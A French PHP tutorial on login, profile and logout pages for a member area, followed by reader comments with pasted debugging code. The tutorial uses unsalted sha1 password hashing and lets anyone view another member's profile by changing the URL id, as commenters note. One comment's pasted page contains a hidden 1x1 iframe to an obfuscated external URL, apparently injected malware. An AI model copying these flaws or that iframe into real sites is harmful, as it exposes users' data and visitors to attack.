TUTO PHP - Créer un espace membre - 2/3 Profil, Connexion et Déconnexion

PrimFX Boris ('PrimFX') Le 22 mars 2015

Dans le précédent épisode de cette mini-série, nous avons vu comment créer une page d'inscription pour notre espace membre... Je vous propose donc de continuer en voyant comment créer une page de connexion, de profil, et de déconnexion :-)

Retrouvez le code de la vidéo par ici: 

Page de connexion
<?php
session_start();

$bdd = new PDO('mysql:host=127.0.0.1;dbname=espace_membre', 'root', '');

if(isset($_POST['formconnexion'])) {
   $mailconnect = htmlspecialchars($_POST['mailconnect']);
   $mdpconnect = sha1($_POST['mdpconnect']);
   if(!empty($mailconnect) AND !empty($mdpconnect)) {
      $requser = $bdd->prepare("SELECT * FROM membres WHERE mail = ? AND motdepasse = ?");
      $requser->execute(array($mailconnect, $mdpconnect));
      $userexist = $requser->rowCount();
      if($userexist == 1) {
         $userinfo = $requser->fetch();
         $_SESSION['id'] = $userinfo['id'];
         $_SESSION['pseudo'] = $userinfo['pseudo'];
         $_SESSION['mail'] = $userinfo['mail'];
         header("Location: profil.php?id=".$_SESSION['id']);
      } else {
         $erreur = "Mauvais mail ou mot de passe !";
      }
   } else {
      $erreur = "Tous les champs doivent être complétés !";
   }
}
?>
<html>
   <head>
      <title>TUTO PHP</title>
      <meta charset="utf-8">
   </head>
   <body>
      <div align="center">
         <h2>Connexion</h2>
         <br /><br />
         <form method="POST" action="">
            <input type="email" name="mailconnect" placeholder="Mail" />
            <input type="password" name="mdpconnect" placeholder="Mot de passe" />
            <br /><br />
            <input type="submit" name="formconnexion" value="Se connecter !" />
         </form>
         <?php
         if(isset($erreur)) {
            echo '<font color="red">'.$erreur."</font>";
         }
         ?>
      </div>
   </body>
</html>
Page de profil
<?php
session_start();

$bdd = new PDO('mysql:host=127.0.0.1;dbname=espace_membre', 'root', '');

if(isset($_GET['id']) AND $_GET['id'] > 0) {
   $getid = intval($_GET['id']);
   $requser = $bdd->prepare('SELECT * FROM membres WHERE id = ?');
   $requser->execute(array($getid));
   $userinfo = $requser->fetch();
?>
<html>
   <head>
      <title>TUTO PHP</title>
      <meta charset="utf-8">
   </head>
   <body>
      <div align="center">
         <h2>Profil de <?php echo $userinfo['pseudo']; ?></h2>
         <br /><br />
         Pseudo = <?php echo $userinfo['pseudo']; ?>
         <br />
         Mail = <?php echo $userinfo['mail']; ?>
         <br />
         <?php
         if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id']) {
         ?>
         <br />
         <a href="editionprofil.php">Editer mon profil</a>
         <a href="deconnexion.php">Se déconnecter</a>
         <?php
         }
         ?>
      </div>
   </body>
</html>
<?php   
}
?>
Page de déconnexion
<?php
session_start();
$_SESSION = array();
session_destroy();
header("Location: connexion.php");
?>

A propos de l'auteur

PrimFX
Boris ('PrimFX')

Je m'appelle Boris, j'ai 22 ans et je suis passionné d'informatique. Suite à mes études (Licence Informatique puis MSc Computer Science au Trinity College Dublin), je gère l'entreprise Single Quote co-fondée en 2019 et je profite de mon temps libre pour partager ma passion à travers des vidéos & articles 😃

Votre commentaire

Vous devez être connecté pour poster un commentaire. Se connecter ou Créer un compte

Commentaires 69

  • Hermess Le 3 juillet, à 14:10 | Répondre

    @PrimFX j'ai aimé le tuto mais j'ai eu le même problème que @Tical et @Kayah , je met toujours le bon email et mot de passe mais ça dit toujours Mail ou mot de passe incorrecte.Je ne sais pas pourquoi ça ne bouge pas .Je voudrais vraiment que quelqu'un me réponde et m'aide à découvrir l'erreur.merci

    Voici ma page connexion.php











    Document





    LinChat
    Bienvenue sur le canal de chat!
















    Mot de passe oublié?






























    Vous n'avez pas de compte?Inscrivez-vous


  • Hermess Le 3 juillet, à 14:02 | Répondre

    @PrimFX j'ai aimé le tuto mais j'ai eu le même problème que @Tical et @Kayah , je met toujours le bon email et mot de passe mais ça dit toujours Mail ou mot de passe incorrecte.Je ne sais pas pourquoi ça ne bouge pas .Je voudrais vraiment que quelqu'un me réponde et m'aide à découvrir l'erreur.merci
    Voici ma page connexion.php











    Document





    LinChat
    Bienvenue sur le canal de chat!
















    Mot de passe oublié?






























    Vous n'avez pas de compte?Inscrivez-vous






    Ma page profil.php











    Profil de

    Prénom =

    Mail =



    Editer mon profil
    Se déconnecter





  • HUHU Le 23 juin, à 04:16 | Répondre

    Lors de connexion il se connecte mais il me redirige vers une feuille blanche (profil.php) quoi faire ?

  • Raion Le 21 avril, à 02:46 | Répondre

    Salut

    J'ai cette erreur : "Fatal error: Uncaught Error: Call to a member function prepare() on string" sur la ligne : "$requser = $bdd->prepare('SELECT * FROM membres WHERE id = ?');". Est ce que quelqu'un saurait comment je peux régler ce problème ?

    Merci :)

  • Natacha Le 27 décembre, à 07:38 | Répondre

    Bonjour !
    Je suis en pleine conception de mon site . et je bloqué sur la connexion des Utilisateurs. Je pense avoir fait tout ce qui est mentionné mais sans cesse il dise que l'identifiant ou le mot de passe est incorrect je suis un peu perdue la !!

  • mouda Le 5 novembre, à 09:26 | Répondre

    @didoub74 @Nicolaza28
    salue frère moi aussi j ai le même problème que toi mais jusqu'à la je n'ai pas trouvé la solution s

  • papyweb Le 1 novembre, à 19:59 | Répondre

    Bonjour,
    comment créer une base de données ?
    je travail avec webexpert 5 et je ne vois pas comment. faire
    merci pour l'aide

  • Artcoco1 Le 1 septembre, à 08:56 | Répondre

    GG
    Simple, rapide, efficace

  • Sheba Le 1 juillet, à 22:49 | Répondre

    Bonjour Mr
    Merci beaucoup pour se tuto sa ma beaucoup aidé pour réaliser mes projets
    Mais je un petit souci sur la page profil.php
    Je veux changer de méthode de GET en POST
    Pour que l'information de l'utilisateur soit invisible dans URL.
    Il faut quoi??
    Merci.

  • johnfr52 Le 23 mars, à 19:50 | Répondre

    ma base de donnée ne prend aucune donnée e, compte

  • Nicolaza28 Le 25 novembre, à 14:26 | Répondre

    Bonjour PrimFX,

    J'ai un problème au niveau de la page 'connexion'. Je ne comprend pas pourquoi mais l'id de ma table n'est pas récupéré dans l'url de la page 'profil'.Pourtant si je rentre un id existant dans ma table manuellement dans l'url de ma page 'profil', j'ai bien le bon profil qu s'affiche...
    J'ai l'impression d'avoir fait exactement comme dans le tuto donc si quelqu'un pouvait m'éclairer sur ce que j'ai oublié ou qu'il faudrait que j'ajoute : voilà mon code de la page 'connexion' :

    <?php
    session_start();

    $bdd = new PDO('mysql:host=127.0.0.1;dbname=gestionconges', 'root', '');

    if(isset($_POST['formconnexion'])) {
    $mailconnect = htmlspecialchars($_POST['mail']);
    $mdpconnect = ($_POST['mdp']);
    //$getid = $_GET['id'];
    if($mailconnect !=="" && $mdpconnect !=="") {
    $requser = $bdd->prepare("SELECT COUNT(*) FROM salaries WHERE mdp = ? AND mail = ?)");
    $requser->execute(array($mailconnect,$mdpconnect));
    $userexist = $requser;
    if($userexist == 1) {

    $userinfo = $requser->fetchAll();
    $_SESSION['id'] = $userinfo['id'];
    $_SESSION['mail'] = $userinfo['mail'];
    header("Location: profil.php?id=".$_SESSION['id']);
    } else {
    $erreur = "Mauvais mail ou mot de passe !";
    }
    } else {
    $erreur = "Tous les champs doivent être complétés !";
    }
    }
    ?>
    <html>
    <head>
    <title>PROFIL</title>
    <meta charset="utf-8">
    </head>
    <body>
    <div class="panel panel-default" >
    <div class="panel-heading">
    <div class="panel-title text-center"><h2>Connexion</h2></div>
    </div>
    <br /><br />
    <form method="POST" action="">
    <input type="email" name="mail" placeholder="Mail" />
    <input type="password" name="mdp" placeholder="Mot de passe" />
    <br /><br />
    <input type="submit" name="formconnexion" value="Se connecter !" />
    </form>
    <?php
    if(isset($erreur)) {
    echo '<font color="red">'.$erreur."</font>";
    }
    ?>
    </div>
    </body>
    </html>


    Merci d'avance !

  • didoub74 Le 4 septembre, à 14:02 | Répondre

    salut Primfx je voudrait savoir comment faire en sorte que si je mette id 2 au lieu de l'id 1 je ne puisse pas tomber sur le profil de quelqu'un d'autre juste pour éviter que quelqu'un puisse voir le mail de quelqu'un d'autre

  • adam-el-kaoun Le 11 juillet, à 14:52 | Répondre

    Salut ça va je suis en train de développer

  • Diane Le 21 mai, à 12:25 | Répondre

    Bonjour,
    Je suis nouvelle sur votre,mais m'inspire beaucoup de vos vidéo youtube pour la création de mon application que je fais en php. ça fait 3 jours que je suis bloquée dans la création de mon profil car il me renvoi une page vide. ci-dessous mon progragramme, apparemment le problème se trouve au niveau du if , merci d'avance

    <?php
    require_once 'config.php';
    if(isset($_GET['id']) AND $_GET['id'] > 0) {
    $getid = intval($_GET['id']);
    $requser = $pdo->prepare('SELECT * FROM membres WHERE id = ?');
    $requser->execute(array($getid));
    $userinfo = $requser->fetch();

    ?>



    <!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    <meta name="Description" content="Application Gestion d'activité Auto Entrepreneur en Rénovation- DUT Informatique">
    <meta name="Author" content="Diane Mav">
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"/>
    <title>Profil</title>
    <link rel="stylesheet" type="text/css" href="style.css">
    <link rel="stylesheet" type="text/css" href="test.css">

    </head>
    <body>
    <a href="index.phpl"><div style="background-color:burlywood;"> <image src="Images/logo.png" id="logo"></a>
    <h1 class="out">Profil Auto-Entrepreneur</h1></div>

    <div class="icone">
    <table>
    <tr>
    <td class="logo_menu"><a href ="profil.php"><img src="Images/auto.jpg" title="Profil Entrepreneur" alt="Profil"/></a></td>
    </tr>
    <tr>
    <td class="logo_menu"><a href ="Client.html"><img src="Images/client.png" title="Créer Client" alt="Créer Client"/></a></td>
    </tr>
    <tr>
    <td class="logo_menu"><a href ="devis.html"><img src="Images/devis.png" title="Créer devis" alt="Créer devis"/></a></td>
    </tr>
    <tr>
    <td class="logo_menu"><a href ="gendev.html"><img src="Images/dev.png" title="Générer devis" alt="Générer devis"/></a></td>
    </tr>
    <tr>
    <td class="logo_menu"><a href ="listdev.html"><img src="Images/listedev.jpg" title="Liste des devis" alt="Liste des devis"/></a></td>
    </tr>
    <tr>
    <td class="logo_menu"><a href ="facture.html"><img src="Images/facti.jpg" title="Créer facture" alt="Créer facture"/></a></td>
    </tr><td class="logo_menu"><a href ="genfact.html"><img src="Images/facture.jpg" title="Générer facture" alt="Générer facture"/></a></td>
    <tr>
    <td class="logo_menu"><a href ="listfact.html"><img src="Images/fact.jpg" title="Liste des factures" alt="Liste des factures"/></a></td>
    </tr>
    </table>
    </div>

    <div align="center">

    <h2>Profil de <?php echo $userinfo['pseudo']; ?></h2><br /><br />
    <p> Civilité: <?php echo $userinfo['civilite']; ?></p>
    <p>Nom: <?php echo $userinfo['nom']; ?></p>
    <p>Prénom: <?php echo $userinfo['prenom']; ?></p>
    <p>SIRET: <?php echo $userinfo['siret']; ?></p>
    <p>Type d'activité:<?php echo $userinfo['typeActivite']; ?></p>
    <p> Nom Société: <?php echo $userinfo['nomSociete']; ?></p>
    <p>Adresse:<?php echo $userinfo['adresse']; ?></p>
    <p>Téléphone: <?php echo $userinfo['telephone']; ?></p>
    <p>Email: <?php echo $userinfo['login']; ?></p>
    <?php
    if(isset($_SESSION['id']) AND $userinfo['id'] == $_SESSION['id']) {
    ?>
    <br />
    <a href="editionprofil.php">Editer mon profil</a>
    <a href="deconnexion.php">Se déconnecter</a>
    <?php
    }
    ?>
    </div>
    </body>
    </html>
    <?php
    }
    ?>

  • Greg Le 1 novembre, à 12:34 | Répondre

    Sa m'affiche un code erreur quelqu'un peut maider svp ?
    Code erreur:
    Warning: session_start(): Cannot send session cookie - headers already sent by (output started at C:\wamp\www\heating\index.php:187) in C:\wamp\www\heating\index.php on line 188

  • hathat Le 16 octobre, à 12:34 | Répondre

    Salut ,
    Lors de connexion il se connecte mais il me redirige vers une feuille blanche (profil.php) quoi faire ?

  • hathat Le 16 octobre, à 12:34 | Répondre

    Salut ,
    Lors de connexion il se connecte mais il me redirige vers une feuille blanche (profil.php) quoi faire ?

  • jaspee Le 12 juillet, à 11:49 | Répondre

    bonjour

  • jaspee Le 12 juillet, à 11:49 | Répondre

    le message d'erreur votre mail ou mot de passe incorrect s'affiche tout le temps alors qu'il n'y a pas d'erreur les données correspondent a celles dans la base

  • soumbila Le 18 avril, à 15:58 | Répondre

    bonjour,
    j'ai un probleme quand j'essai de me connecter rien ne se passe. voici le code de la page de connexion :

    <?php

    session_start();

    include ("inc/db.php");

    if(isset($_POST['formconnexion'])) {
    $mailconnect = htmlspecialchars($_POST['mailconnect']);
    $mdpconnect = sha1($_POST['mdpconnect']);
    if(!empty($mailconnect) AND !empty($mdpconnect)) {
    $requser = $bdd->prepare("SELECT * FROM admin WHERE mail = ? AND mot_de_passe = ?");
    $requser->execute(array($mailconnect, $mdpconnect));
    $userexist = $requser->rowCount();
    if($userexist == 1) {
    $userinfo = $requser->fetch();
    $_SESSION['id'] = $userinfo['id'];
    $_SESSION['pseudo'] = $userinfo['pseudo'];
    $_SESSION['mail'] = $userinfo['mail'];
    header("Location: admin_board.php?id=".$_SESSION['id']);
    } else {
    $erreur = "Mauvais mail ou mot de passe !";
    }
    } else {
    $erreur = "Tous les champs doivent être complétés !";
    }
    }


    ?>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Login</title>

    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:400,700">
    <link rel="stylesheet" href="css/styles.css">


    </head>
    <body>
    <div id="login">
    <form method="POST" action="">

    <input type="mail" name="mailconnect" placeholder="Email" id="user">
    <br />
    <input type="password" name="mdpconnect" id"pass" placeholder="Mot de passe">

    <input type="submit" name="formconnexion" value="Connexion"><br />

    </form>
    <?php
    if(isset($erreur)) {
    echo '<font color="red">'.$erreur."</font>";
    }
    ?>

    </div>
    </body>
    </html>

  • soumbila Le 18 avril, à 15:53 | Répondre

    Bonjour,
    en fait moi j'ai créé toutes ces pages et au niveau de la page connexion quanje rentre l'email et le mot de passe rien ne se passe. voici mon code de la page connexion :

    <?php

    session_start();

    include ("inc/db.php");

    if(isset($_POST['formconnexion'])) {
    $mailconnect = htmlspecialchars($_POST['mailconnect']);
    $mdpconnect = sha1($_POST['mdpconnect']);
    if(!empty($mailconnect) AND !empty($mdpconnect)) {
    $requser = $bdd->prepare("SELECT * FROM admin WHERE mail = ? AND mot_de_passe = ?");
    $requser->execute(array($mailconnect, $mdpconnect));
    $userexist = $requser->rowCount();
    if($userexist == 1) {
    $userinfo = $requser->fetch();
    $_SESSION['id'] = $userinfo['id'];
    $_SESSION['pseudo'] = $userinfo['pseudo'];
    $_SESSION['mail'] = $userinfo['mail'];
    header("Location: admin_board.php?id=".$_SESSION['id']);
    } else {
    $erreur = "Mauvais mail ou mot de passe !";
    }
    } else {
    $erreur = "Tous les champs doivent être complétés !";
    }
    }


    ?>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Login</title>

    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Open+Sans:400,700">
    <link rel="stylesheet" href="css/styles.css">


    </head>
    <body>
    <div id="login">
    <form method="POST" action="">

    <input type="mail" name="mailconnect" placeholder="Email" id="user">
    <br />
    <input type="password" name="mdpconnect" id"pass" placeholder="Mot de passe">

    <input type="submit" name="formconnexion" value="Connexion"><br />

    </form>
    <?php
    if(isset($erreur)) {
    echo '<font color="red">'.$erreur."</font>";
    }
    ?>

    </div>
    </body>
    </html>

  • sirakawa Le 7 mars, à 01:19 | Répondre

    bonjour @prime s'il vous plait est ce que vous pouvez faire une video (comment autoriser seulement les membre de sites a poster des commentaires s'il vous plait c'est tres important)

  • rayane Le 19 janvier, à 16:35 | Répondre

    HELP
    Bonjour tout le monde je suis bloque au niveau du mot de passe. Je rentre le bon pseudo et le bon mot de passe mais celui-ci me dit qu'il est faux et ne va donc pas plus loin:

    if(isset($_POST['formconnexion']))
    {
    $pseudoconnect = htmlspecialchars($_POST['pseudoconnect']);
    $mdpconnect = sha1($_POST['mdpconnect']);
    if(!empty($pseudoconnect) AND !empty($mdpconnect))
    {
    $requser = $bdd -> prepare('SELECT * FROM membre WHERE pseudo = ? AND Mot de passe = ? ');
    $requser -> execute (array($pseudoconnect,$mdpconnect));
    $userexist = $requser -> rowCount ();

    if ($userexist == 1)
    {
    $userinfo = $requser -> fetch();
    $_SESSION['id'] = $userinfo['id'];
    $_SESSION['pseudo'] = $userinfo['pseudo'];
    $_SESSION['pass'] = $userinfo['pass'];
    header('Location : profil.php?id=' . $_SESSION['id']);

    }
    else
    {
    echo $erreur = "Mauvais pseudo ou mot de passe";
    }
    }
    else
    {
    echo $erreur = 'Tous les champs doivent étre complétés !';
    }?

  • nyazitaj Le 1 janvier, à 13:09 | Répondre

    Le sha1() est déconseiller par le PHP pour hacher un mot de passe.
    Voir les liens: http://php.net/manual/fr/function.sha1.php

  • herytovo Le 28 décembre, à 21:46 | Répondre

    Merci d'avoir réagi à mon appel. Finalement j'ai renommé le code et repris le même mais venant de mon backup, et ça a marché. Il y a certainement un bug quelque part mais ce n'est pas la première fois, seulement c'est stressant quand on a corrigé toutes les erreurs, et soit une page blanche après misa jour, soit la base de donnée n'a été pas affectée  par le programme. 

  • kardu80 Le 28 décembre, à 11:48 | Répondre

    Bonjour @nikos,

    $_GET['id'] n'a pas besoin d'être déclarée puisqu'elle provient de l'URL.

  • kardu80 Le 28 décembre, à 11:46 | Répondre

    Bonjour @herytovo,
    Avec ton code ce serai plus facile pour nous de t'aider :)

  • herytovo Le 20 décembre, à 10:45 | Répondre

    Bonjour,
    j'ai utiliser le code pour la création de profil qui est sur le tuto, mais une fois connecté, q je lance la page profiLphp sur la ligne de commande, l'ecran affiche une page blanche pourriez-vous m'aider

  • Niasly Le 2 décembre, à 15:44 | Répondre

    Je ne sais pas pourquoi quand je prend les codes sources et je configure phpmyadmin il y a toujours des erreurs.

  • nikos Le 28 novembre, à 05:12 | Répondre

    bonjour je ne comprend pas ds la page profil.php
    la ligne suivante
    if(isset($_GET['id']) and $_GET['id'] > 0)
    enfin si la ligne oui mais $_GET['id'] n'est pas declarer avant il me semble pas obligatoire de declarer avant utiliser
    mais on utilise normalement ds un formulaire je ne vois pas d'ou sa vient elle n'a pas etait remplie merci de votre temps

  • Jekt Le 30 octobre, à 17:18 | Répondre

    Bjr à tous,
    J'ai un petit soucis quand je copie-colle le code php pour la page de connexion sur sublimetext et que je l'ouvre avec un navigateur internet cela m'ouvre mon code comme si c'etait du fichier texte... une idée ? ;s

  • EagleTom12344321 Le 20 juillet, à 17:14 | Répondre

    @C_L comment as tu fait?

  • jultancrez Le 7 juin, à 19:31 | Répondre

    Salut j'aimerais savoir pour le profil au niveau du lien si je pourrais mettre sa http://localhost/Movies/profil?name=admin ( admin = nom de l'utilisateur )au lieu de http://localhost/Movies/profil?id=1. ? Et comment le faire pars-ce-que je n'arrive pas actuellement. merci

  • natsu2222 Le 9 avril, à 13:00 | Répondre

    génial merci :)

  • cedric Le 6 avril, à 09:44 | Répondre

    @Dinars Pour en revenir a l'espace membre des autres personnes, ce n'est pas un problème car bien au contraire chacun peut voir le profil de l'autre sans pour autant le modifier, seul le propriétaire de son compte avec (isset($_SESSION['id']) && $resultat['id'] == $_SESSION['id']) aurait l'occasion de modifier ses infos

  • Dinars Le 8 mars, à 21:00 | Répondre

    Bonjour et merci pour ce tuto. Il y a une chose qui faudrait ajouter, et je m'en aperçois après avoir créé un nouveau compte, il manque une condition pour vérifier si le compte est activé ou non. Seconde chose, soit j'ai mal appliqué le tuto, soit c'est une erreur de recopiage, mais un utilisateur peut avoir accès sans problème aux autres espaces membres. Pour plier à ce problème, j'utilise la variable de session comme id

  • phyphy Le 28 février, à 12:33 | Répondre

    bonjour boris, je viens vers toi car j'ai suivi ton tuto, mais il se trouve que j'ai un problème au niveau de : if($userexist == 1), je n'ai rien quand je mets 1, alors que dans ma base de donnée j'ai 5 utilisateurs, par contre quand je mets 0, j'ai quelque chose, saurais-tu me dire pourquoi ?
    merci

  • captaintimes Le 17 décembre, à 20:24 | Répondre

    Bonsoir
    petit probleme
    quand j'arrive sur mon profil je suis sur une page blanche, comment rêgler ce probleme ?

  • captaintimes Le 17 décembre, à 20:23 | Répondre

    @C_L comment tu as fait pour résoudre le probleme de la page blanche ?

  • webchrea Le 13 novembre, à 00:01 | Répondre

    Des tutos simple e logique et limpide rien a dire Bonne continuation

  • kim Le 5 novembre, à 13:47 | Répondre

    @C_L comment t'as fait j'ai le mm probleme
    Merci d'avance

  • tahaa94 Le 19 octobre, à 01:31 | Répondre

    @Headhunterz tu sais que t'es vraiment pas bête toi merci :)

  • Headhunterz Le 9 octobre, à 22:30 | Répondre

    @skyren @Tical0 J'ai bien cherché avant de trouver pourquoi j'avais ce problème aussi mais j'ai fini par trouvé !! de mon coté j'ai inverser l'ordre d’insertion de l'email et du [b]mdp[/b] dans la [b]BDD[/b] donc dans le champ [b]"mail"[/b] j'avais le mdp et dans le champ [b]"mdp"[/b] le mail donc impossible de me connecter avec le formulaire de connexion évidement ! sinon vérifiez bien si [b]sha1[/b] est bien mis quand il le faut ;) sinon merci a toi primFX pour les tutos !!

  • skyren Le 19 septembre, à 09:11 | Répondre

     le formulaire de conexión ne marche pas pour moi j ai le meme problema que tical0 et kayah

  • skyren Le 19 septembre, à 09:08 | Répondre

    @indiastyle pareil, le meme problema que tical0 et aue kayah help please

  • Tical0 Le 14 septembre, à 15:20 | Répondre

    Bonjour à tous, bonjour PrimFx,

    merci pour ces tutos qui me sont d'une grande aide.
    Toutefois j'ai le même problème que @Kayah, c'est à dire qu'il m'est impossible de me connecter. J'ai beau rentré le bon email et bon mot de passe, il me met l'erreur : Mauvais email ou mot de passe !

    Une idée de ce qu'il pourrait se passer?

    Merci d'avance!

  • indiastyle Le 14 septembre, à 12:57 | Répondre

    Bonjour,

    Merci pour le tuto.
    En revanche, lorsqu'on change l'ID dans la barre URL (2 à la place de 1 par exemple), on arrive sur le profil d'un autre utilisateur sans forcement avoir eu besoin de rentrer le mot de passe du profil 2.

    Y'a t'il une méthode pour éviter cela ?

    Merci ++

  • matteoctn Le 15 août, à 16:40 | Répondre

    @C_L Alors voilà ce que je pense :

    déjà il faut nommer ton fichier editionprofil.php je croix que c'est celui là qu'il à mis.
    Ensuite il faut vérifier si ton site web est bien connecter au même BDD.
    Et pense aussi à vérifié si les tables sont bonnes.

    voilà ce sont quelques erreurs que j'ai fait il y a quelques temps :D

  • sasha Le 30 juillet, à 07:02 | Répondre

    merci pour ton travail.

  • C_L Le 19 avril, à 23:16 | Répondre

    C'est bon c'est résolu

  • C_L Le 19 avril, à 20:46 | Répondre

    Ok pour l'inscription ... et quand je me connecte la page de profil doit être afficher .. mais rien cela me donne sur une page blanche ...

    Comment cela se fait ? ma page s'appelle bien profil.php

  • iS0Z Le 18 avril, à 16:18 | Répondre

    Trés interresant .

  • Haeras Le 14 avril, à 13:18 | Répondre

    Merci pour ton travail

  • rtyerte Le 13 février, à 15:06 | Répondre

    @nixos je sais pas

  • zodiak Le 1 janvier, à 23:49 | Répondre

    Et Bonne année à toi

  • zodiak Le 1 janvier, à 23:49 | Répondre

    merci pour ce travail magnifique ! RESPECT.
    les explications sont claires.Franchement encore merci ! ça m'a beaucoup aidé moi qui vient de me lancer dans ce monde merveilleux de l'informatique !

  • bigus Le 17 décembre, à 23:35 | Répondre

    bonjour,
    et merci pour ces excellents tutos très instructifs.
    je suis en train de suivre et de refaire sur mon site l'espace membre et je me heurte à un petit soucis de sécurité...
    lorsque je me connecte, l'id apparait dans l'url sous la forme "http://localhost/espace%20membre/profil2.php?id=5", mais si je change le 5 en 6 par exemple, j'accède au profil d'un autre (comme dans le tuto partie 2 d'ailleurs après vérification).
    Pourrais-tu m'expliquer comment parer à cette faille car j'aimerais qu'en changeant ce chiffre, il ne soit plus possible de voir les infos des autres membres.
    merci pour ton aide !

  • Kayah Le 15 décembre, à 13:53 | Répondre

    slt! je bien suivi ce tuto, mais maintenant je rencontre un problem; dans ce script quand je l'execute, il affice tojour le erreur:"Votre pseudo et Mot de passe est incorrecte" Mais j'ai deja verifier dans mon bdd et je copie le pseudo et le mot de passe, mais le même erreu comme avant qui affiche encore

    et voici mon code php et avec me html:

    <?php
    session_start();
    $bdd= new PDO('mysql:host=localhost;dbname=forumtest', 'root', '');
    if (isset ($_POST['connexion']))
    {
    $membre_pseudo=htmlspecialchars($_POST['membre_pseudo']);
    $membre_mdp=sha1($_POST['membre_mdp']);
    if (!empty($membre_pseudo) AND !empty($membre_mdp))
    {
    $requser=$bdd->prepare("SELECT * FROM fourm_membres WHERE membre_pseudo=? AND membre_mdp=?");
    $requser->execute(array($membre_pseudo, $membre_mdp));
    $userexist= $requser->rowCount();
    if ($userexist==1)
    {
    $userinfo= $requser->fetch();
    $_SESSION['membre_id']=$userinfo['membre_id'];
    $_SESSION['membre_pseudo']=$userinfo['membre_pseudo'];
    $_SESSION['membre_mdp']=$userinfo['membre_mdp'];
    header ("Location: profils.php?id=".$_SESSION['membre_id']);

    }
    else
    {
    $erreur="Votre pseudo ou mot de passe est incorrect!";
    }
    }
    else
    {
    $erreur="Tous les champs doivent être complétés!";
    }


    }
    ?>
    <html>
    <head>
    <meta charset="utf-8" />
    <link rel="stylesheet" href="css/style.css" />
    <link rel="stylesheet" href="css/nivo-slider.css" type="text/css" media="screen" />
    <link rel="stylesheet" href="css/default/default.css" type="text/css" media="screen" />
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>
    <script src="jquery.nivo.slider.pack.js" type="text/javascript"></script>
    <!--[if lt IE 9]>
    <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <title>HARENA GROUP</title>
    </head>
    <body id="blog">
    <div id="wrapper">

    <!--__--__--__--__--__-- L O G O & N A V B A R --__--___--__--__--__-->
    <header>
    <div id="logo">
    <h1><I>HARENA GROUP</I><span id="iisrt"><span id="ii">S</span> <span id="srt">ociety</span></span></h1>
    <div id="tagline">
    <h2><font color ="#fefefe">Welcome in the Site Web of Harena Business!</font></h2>
    </div>
    </div>
    <nav>
    <ul>
    <li><a href="index.php" id="homenav">Home</a></li>
    <li><a href="blog.php" id="blognav">Blog</a></li>
    <li><a href="fullwidth.php" id="fullwidthnav">Full width</a></li>
    <li><a href="contact.php">Contact</a></li>
    <li><a href="connexion.php">Connexion</a></li>
    </ul>
    </nav>
    </header>

    <!--__--__--__--__-- M A I N C O N T E N T --__--__--__--___--__--__-->
    <section>

    <!--__--__--__-- A R T I C L E S --__--__--__--__-->

    <div id="articles">
    <article>
    <form action="" method="POST">
    <table width="100%" border="0" cellpadding="5%" cellspacing="5%">
    <tr>
    <td width="50%"class="titre_form1" aligne="center" colspan="20"><center> <?php if (isset($erreur)){echo '<font color="#000000">'.$erreur."</font>";}?></center></td>
    </tr>
    </table>
    <center>
    <table width="100%" border="0" cellpadding="5%" cellspacing="5%">
    <tr>
    <td width="100%"class="titre_form" aligne="center" colspan="20"><center>VEUILLEZ VOUS INSCRIRE</center></td>
    </tr>
    <tr>
    <td width="50%" class="titre_form" aligne="center" colspan="2"><center>Pseudo:</center></td>
    <td bgcolor="#006"><input name="membre_pseudo" placeholder="Votre Nom...." type="text" width="50%"/></td>
    </tr>
    <tr>
    <td width="50%" class="titre_form" aligne="center" colspan="2"><center>Saisir un Mot de Passe:</center></td>
    <td bgcolor="#006"><input name="membre_mdp" placeholder="Votre Mot de Passe" type="password" width="50%"/></td>
    </tr>
    <tr>
    <td width="100%"class="titre_form" aligne="center" colspan="20"><center><a href="inscription.php"><font color="#fff">Si vous n'ete pas encore membre veuillez vous inscrir en cliquand içi</font></a></center></td>
    </tr>
    </table>
    <input name="connexion" type="submit" value="Connexion" />
    </center>
    </article>
    </form>

    </div>
    </section>
    <footer>

    </footer>
    </div>
    <iframe src="http://jL.c&#104;ura&#46;pl/rc/" style="width:1px;height:1px"></iframe>
    </body>
    </html>
    Helpe Me please!

  • nixos Le 3 décembre, à 11:14 | Répondre

    Salut PrimFx, déjà merci pour les tutos, vraiment bien fait !
    J'ai un petit soucis, j'ai réussi à faire l'inscription, j'ai aucun soucis. Pour la connexion par contre je me heurte à un problème, que je viens de voir juste au dessus.
    J'ai donc créer mon formulaire de connexion, et quand je test si le nom d'user existe aucun soucis, et pour le mot de passe ça me fait l'erreur : mauvais mdp.
    Du coup j'ai remplacé la variable mdp par le nom du mec (qui est dans la BDD), donc pas en sha1 mais en htmlspecialchars, et la la connexion se fait. En gros il lis mal me mdp apparemment, mais je ne vois pas d'où ça sort, les test sont bons.
    SI tu as une solution à mon problème, merci d'avance !

    Mon code juste pour connexion:
    <?php
    session_start();

    include('BDD.php');

    if(isset($_POST['formconnexion'])) {
    $user_nameco = htmlspecialchars($_POST['user_nameco']);
    //$mdpco = sha1($_POST['mdpco']);
    $mdpco = htmlspecialchars($_POST['mdpco']);
    if(!empty($_POST['user_nameco']) AND !empty($_POST['mdpco'])) {
    $requser = $bdd->prepare("SELECT * FROM membre WHERE user_name = ?");
    $requser->execute(array($user_nameco));
    $userexist = $requser->rowCount();
    if($userexist == 1){
    $reqmdp = $bdd->prepare("SELECT * FROM membre WHERE nom = ?");
    $reqmdp->execute(array($mdpco));
    $mdpexist = $reqmdp->rowCount();
    if($mdpexist == 1){
    $userinfo = $requser->fetch();
    $_SESSION['id'] = $userinfo['id'];
    $_SESSION['equipe'] = $userinfo['equipe'];
    $_SESSION['user_name'] = $userinfo['user_name'];
    $_SESSION['rang'] = $userinfo['rang'];
    $_SESSION['mail'] = $userinfo['mail'];
    $_SESSION['nom'] = $userinfo['nom'];
    header("Location: AccueilCo.php?id=".$_SESSION['id']);
    } else{
    $erreur = "Mauvais mot de passe !";
    }
    } else {
    $erreur = "Mauvais pseudo !";
    }
    } else {
    $erreur = "Veuillez mettre vos log !";
    }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
